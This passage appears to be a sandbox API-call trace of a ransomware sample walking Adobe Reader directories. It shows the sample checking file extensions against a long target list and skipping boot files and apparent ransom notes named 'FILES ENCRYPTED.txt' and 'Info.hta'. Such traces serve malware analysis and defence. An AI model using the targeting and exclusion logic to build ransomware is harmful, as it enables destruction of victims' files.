lstrlenW (lpString=".accdw") returned 6 [0276.133] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0276.133] lstrlenW (lpString=".adb") returned 4 [0276.133] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0276.133] lstrlenW (lpString=".adp") returned 4 [0276.134] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".ai") returned 3 [0276.134] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.134] lstrlenW (lpString=".ai3") returned 4 [0276.134] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".ai4") returned 4 [0276.134] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".ai5") returned 4 [0276.134] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".ai6") returned 4 [0276.134] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".ai7") returned 4 [0276.134] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".ai8") returned 4 [0276.134] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".anim") returned 5 [0276.134] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0276.134] lstrlenW (lpString=".arw") returned 4 [0276.134] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".as") returned 3 [0276.134] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.134] lstrlenW (lpString=".asa") returned 4 [0276.134] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".asc") returned 4 [0276.134] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0276.134] lstrlenW (lpString=".ascx") returned 5 [0276.134] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0276.135] lstrlenW (lpString=".asm") returned 4 [0276.135] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0276.135] lstrlenW (lpString=".asmx") returned 5 [0276.135] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0276.135] lstrlenW (lpString=".asp") returned 4 [0276.135] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0276.135] lstrlenW (lpString=".aspx") returned 5 [0276.135] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0276.135] lstrlenW (lpString=".asr") returned 4 [0276.135] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0276.135] lstrlenW (lpString=".asx") returned 4 [0276.135] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0276.135] lstrlenW (lpString=".avi") returned 4 [0276.136] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".avs") returned 4 [0276.136] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".backup") returned 7 [0276.136] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0276.136] lstrlenW (lpString=".bak") returned 4 [0276.136] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".bay") returned 4 [0276.136] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".bd") returned 3 [0276.136] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.136] lstrlenW (lpString=".bin") returned 4 [0276.136] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".bmp") returned 4 [0276.136] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".bz2") returned 4 [0276.136] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".c") returned 2 [0276.136] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.136] lstrlenW (lpString=".cdr") returned 4 [0276.136] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".cer") returned 4 [0276.136] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".cf") returned 3 [0276.136] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.136] lstrlenW (lpString=".cfc") returned 4 [0276.136] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0276.136] lstrlenW (lpString=".cfm") returned 4 [0276.137] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".cfml") returned 5 [0276.137] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0276.137] lstrlenW (lpString=".cfu") returned 4 [0276.137] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".chm") returned 4 [0276.137] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".cin") returned 4 [0276.137] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".class") returned 6 [0276.137] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0276.137] lstrlenW (lpString=".clx") returned 4 [0276.137] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".config") returned 7 [0276.137] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0276.137] lstrlenW (lpString=".cpp") returned 4 [0276.137] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".cr2") returned 4 [0276.137] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".crt") returned 4 [0276.137] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".crw") returned 4 [0276.137] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0276.137] lstrlenW (lpString=".cs") returned 3 [0276.137] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.137] lstrlenW (lpString=".css") returned 4 [0276.137] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".csv") returned 4 [0276.138] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".cub") returned 4 [0276.138] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dae") returned 4 [0276.138] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dat") returned 4 [0276.138] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".db") returned 3 [0276.138] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.138] lstrlenW (lpString=".dbf") returned 4 [0276.138] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dbx") returned 4 [0276.138] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dc3") returned 4 [0276.138] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dcm") returned 4 [0276.138] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dcr") returned 4 [0276.138] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".der") returned 4 [0276.138] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dib") returned 4 [0276.138] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dic") returned 4 [0276.138] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0276.138] lstrlenW (lpString=".dif") returned 4 [0276.139] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0276.139] lstrlenW (lpString=".divx") returned 5 [0276.139] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0276.139] lstrlenW (lpString=".djvu") returned 5 [0276.139] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0276.139] lstrlenW (lpString=".dng") returned 4 [0276.139] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0276.139] lstrlenW (lpString=".doc") returned 4 [0276.139] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0276.139] lstrlenW (lpString=".docm") returned 5 [0276.139] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0276.139] lstrlenW (lpString=".docx") returned 5 [0276.139] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0276.139] lstrlenW (lpString=".dot") returned 4 [0276.139] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0276.139] lstrlenW (lpString=".dotm") returned 5 [0276.139] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0276.139] lstrlenW (lpString=".dotx") returned 5 [0276.139] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0276.139] lstrlenW (lpString=".dpx") returned 4 [0276.139] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0276.139] lstrlenW (lpString=".dqy") returned 4 [0276.139] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0276.139] lstrlenW (lpString=".dsn") returned 4 [0276.139] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0276.139] lstrlenW (lpString=".dt") returned 3 [0276.139] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.139] lstrlenW (lpString=".dtd") returned 4 [0276.140] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".dwg") returned 4 [0276.140] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".dwt") returned 4 [0276.140] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".dx") returned 3 [0276.140] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.140] lstrlenW (lpString=".dxf") returned 4 [0276.140] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".edml") returned 5 [0276.140] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0276.140] lstrlenW (lpString=".efd") returned 4 [0276.140] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".elf") returned 4 [0276.140] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".emf") returned 4 [0276.140] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".emz") returned 4 [0276.140] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".epf") returned 4 [0276.140] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".eps") returned 4 [0276.140] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0276.140] lstrlenW (lpString=".epsf") returned 5 [0276.140] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0276.140] lstrlenW (lpString=".epsp") returned 5 [0276.140] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0276.140] lstrlenW (lpString=".erf") returned 4 [0276.141] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".exr") returned 4 [0276.141] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".f4v") returned 4 [0276.141] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".fido") returned 5 [0276.141] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0276.141] lstrlenW (lpString=".flm") returned 4 [0276.141] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".flv") returned 4 [0276.141] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".frm") returned 4 [0276.141] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".fxg") returned 4 [0276.141] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".geo") returned 4 [0276.141] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".gif") returned 4 [0276.141] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".grs") returned 4 [0276.141] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0276.141] lstrlenW (lpString=".gz") returned 3 [0276.141] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0276.141] lstrlenW (lpString=".h") returned 2 [0276.141] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0276.142] lstrlenW (lpString=".hdr") returned 4 [0276.142] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".hpp") returned 4 [0276.142] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".hta") returned 4 [0276.142] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".htc") returned 4 [0276.142] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".htm") returned 4 [0276.142] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".html") returned 5 [0276.142] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0276.142] lstrlenW (lpString=".icb") returned 4 [0276.142] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".ics") returned 4 [0276.142] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".iff") returned 4 [0276.142] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".inc") returned 4 [0276.142] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".indd") returned 5 [0276.142] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0276.142] lstrlenW (lpString=".ini") returned 4 [0276.142] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".iqy") returned 4 [0276.142] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".j2c") returned 4 [0276.142] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0276.142] lstrlenW (lpString=".j2k") returned 4 [0276.143] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0276.143] lstrlenW (lpString=".java") returned 5 [0276.143] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0276.143] lstrlenW (lpString=".jp2") returned 4 [0276.143] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0276.143] lstrlenW (lpString=".jpc") returned 4 [0276.143] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0276.143] lstrlenW (lpString=".jpe") returned 4 [0276.143] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0276.143] lstrlenW (lpString=".jpeg") returned 5 [0276.143] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0276.143] lstrlenW (lpString=".jpf") returned 4 [0276.143] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0276.143] lstrlenW (lpString=".jpg") returned 4 [0276.143] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0276.143] lstrlenW (lpString=".jpx") returned 4 [0276.143] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0276.143] lstrlenW (lpString=".js") returned 3 [0276.143] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0276.143] lstrlenW (lpString="ui-strings.js") returned 13 [0276.143] lstrlenW (lpString=".love$") returned 6 [0276.143] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0276.143] lstrlenW (lpString="ui-strings.js") returned 13 [0276.143] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0276.143] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0276.143] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0276.143] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0276.144] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0276.144] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0276.144] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0276.144] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0276.144] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js") returned 127 [0276.144] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcb2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.144] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0276.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0276.144] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0276.144] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br") returned 113 [0276.144] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br") returned 1 [0276.144] lstrlenW (lpString="pt-br") returned 5 [0276.144] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="pt-br") returned -1 [0276.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0276.144] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br") returned 113 [0276.144] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0276.145] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.145] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb8a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.145] lstrlenW (lpString="ui-strings.js") returned 13 [0276.145] lstrlenW (lpString=".1cd") returned 4 [0276.145] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0276.145] lstrlenW (lpString=".3ds") returned 4 [0276.145] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0276.145] lstrlenW (lpString=".3fr") returned 4 [0276.145] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0276.145] lstrlenW (lpString=".3g2") returned 4 [0276.145] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0276.145] lstrlenW (lpString=".3gp") returned 4 [0276.145] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0276.145] lstrlenW (lpString=".7z") returned 3 [0276.145] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.145] lstrlenW (lpString=".accda") returned 6 [0276.145] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0276.146] lstrlenW (lpString=".accdb") returned 6 [0276.146] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0276.146] lstrlenW (lpString=".accdc") returned 6 [0276.146] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0276.146] lstrlenW (lpString=".accde") returned 6 [0276.146] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0276.146] lstrlenW (lpString=".accdt") returned 6 [0276.146] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0276.146] lstrlenW (lpString=".accdw") returned 6 [0276.146] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0276.146] lstrlenW (lpString=".adb") returned 4 [0276.146] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0276.146] lstrlenW (lpString=".adp") returned 4 [0276.146] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0276.146] lstrlenW (lpString=".ai") returned 3 [0276.146] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.146] lstrlenW (lpString=".ai3") returned 4 [0276.146] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0276.146] lstrlenW (lpString=".ai4") returned 4 [0276.146] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0276.146] lstrlenW (lpString=".ai5") returned 4 [0276.146] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0276.146] lstrlenW (lpString=".ai6") returned 4 [0276.146] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0276.146] lstrlenW (lpString=".ai7") returned 4 [0276.146] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0276.146] lstrlenW (lpString=".ai8") returned 4 [0276.147] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0276.147] lstrlenW (lpString=".anim") returned 5 [0276.147] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0276.147] lstrlenW (lpString=".arw") returned 4 [0276.147] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0276.147] lstrlenW (lpString=".as") returned 3 [0276.147] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.147] lstrlenW (lpString=".asa") returned 4 [0276.147] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0276.147] lstrlenW (lpString=".asc") returned 4 [0276.147] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0276.147] lstrlenW (lpString=".ascx") returned 5 [0276.147] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0276.147] lstrlenW (lpString=".asm") returned 4 [0276.147] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0276.147] lstrlenW (lpString=".asmx") returned 5 [0276.147] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0276.147] lstrlenW (lpString=".asp") returned 4 [0276.147] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0276.147] lstrlenW (lpString=".aspx") returned 5 [0276.147] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0276.147] lstrlenW (lpString=".asr") returned 4 [0276.147] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0276.147] lstrlenW (lpString=".asx") returned 4 [0276.147] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0276.147] lstrlenW (lpString=".avi") returned 4 [0276.147] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".avs") returned 4 [0276.148] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".backup") returned 7 [0276.148] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0276.148] lstrlenW (lpString=".bak") returned 4 [0276.148] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".bay") returned 4 [0276.148] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".bd") returned 3 [0276.148] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.148] lstrlenW (lpString=".bin") returned 4 [0276.148] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".bmp") returned 4 [0276.148] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".bz2") returned 4 [0276.148] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".c") returned 2 [0276.148] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.148] lstrlenW (lpString=".cdr") returned 4 [0276.148] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".cer") returned 4 [0276.148] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".cf") returned 3 [0276.148] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.148] lstrlenW (lpString=".cfc") returned 4 [0276.148] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0276.148] lstrlenW (lpString=".cfm") returned 4 [0276.148] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0276.149] lstrlenW (lpString=".cfml") returned 5 [0276.149] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0276.149] lstrlenW (lpString=".cfu") returned 4 [0276.149] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0276.149] lstrlenW (lpString=".chm") returned 4 [0276.471] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0276.471] lstrlenW (lpString=".cin") returned 4 [0276.471] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0276.471] lstrlenW (lpString=".class") returned 6 [0276.566] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0276.566] lstrlenW (lpString=".clx") returned 4 [0276.566] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0276.566] lstrlenW (lpString=".config") returned 7 [0276.566] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0276.566] lstrlenW (lpString=".cpp") returned 4 [0276.566] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0276.566] lstrlenW (lpString=".cr2") returned 4 [0276.566] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0276.566] lstrlenW (lpString=".crt") returned 4 [0276.566] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0276.566] lstrlenW (lpString=".crw") returned 4 [0276.566] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0276.566] 